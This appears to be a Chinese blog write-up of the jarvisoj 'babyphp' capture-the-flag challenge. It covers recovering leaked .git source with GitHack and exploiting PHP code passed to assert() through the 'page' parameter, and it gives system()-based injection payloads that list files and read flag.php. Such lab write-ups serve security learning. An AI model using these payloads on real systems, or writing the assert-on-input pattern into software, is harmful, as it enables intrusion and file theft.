zoukankan      html  css  js  c++  java
  • jarvisoj babyphp

    jarvisoj babyphp

    涉及知识点:

    (1)GitHack处理.git源码泄露

    (2)php代码注入

    解析:

    进入题目界面。

     看到题目中的用了git那么第一反应肯定是可能存在.git源码泄露。

    用GitHack尝试一下。

     审计关键代码。

    <?php
    if (isset($_GET['page'])) {
        $page = $_GET['page'];
    } else {
        $page = "home";
    }
    $file = "templates/" . $page . ".php";
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    assert("file_exists('$file')") or die("That file doesn't exist!");
    ?>

    可以看到page是由我们自己控制的。那么这样的话就可以尝试php代码注入了。

    构造payload: ?page='.system(ls).'

     爆出本级文件。那么只要读取templates下的flag.php就可以了

    构造payload : ?page='.system('cat templates/flag.php').' 

    打开F12看到flag.php中的内容如下。

     得到flag。(图不太清晰,但是毕竟是flag,不重要)。

    注:经过多次尝试之后,我发现php代码注入只要存在(前提是存在注入点),几乎都是无解的问题。它可以存在于任何地方,甚至赋值语句都可以用php代码注入来获取你想要的内容。

  • 相关阅读:
    angularjs select
    DataInputStream和DataOutputStream
    Linux gcc编译器
    Linux 网络配置
    Linux 实用工具vi
    Linux 文件系统
    Linux Linux系统管理命令
    Linux Linux常用命令二
    Linux Linux常用命令一
    数据结构 排序(归并排序)
  • 原文地址:https://www.cnblogs.com/cioi/p/12179642.html
Copyright © 2011-2022 走看看